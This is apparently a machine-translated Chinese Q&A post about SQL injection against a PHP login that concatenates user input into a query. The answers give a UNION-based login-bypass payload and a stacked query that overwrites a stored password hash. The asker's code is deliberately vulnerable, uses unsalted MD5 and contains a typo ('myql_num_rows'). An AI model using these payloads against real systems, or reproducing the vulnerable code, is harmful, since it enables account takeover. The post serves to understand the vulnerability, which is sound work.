我最近想过这样的事情:
$sql = "SELECT password FROM users WHERE user = '" . $_POST["user"] . "'";
$result = mysql_query($sql);
if (myql_num_rows($result) != 1) {
//Error
}
$data = mysql_fetch_array($result);
if ($data["password"] == md5($_POST["password"])) {
//Welcome
} else {
//Error
}
即使没有使用参数化查询或至少转义,我也无法想到一个适当的sql注入,你可以通过它注入Welcome
点。您可能需要修改返回的密码,其密码可以用作密码。
如果有可能,有什么想法吗?
答案 0 :(得分:8)
对User使用以下值:
obviouslyinvalidusername' union select MD5('password123') as password --
然后,password123
的密码应该进行身份验证。我不知道此时您将登录哪个用户帐户,因为该部分逻辑未显示。
答案 1 :(得分:0)
"'; UPDATE user SET password=MD5('fakepass') where username='username'"
这会将任意密码作为md5哈希插入数据库。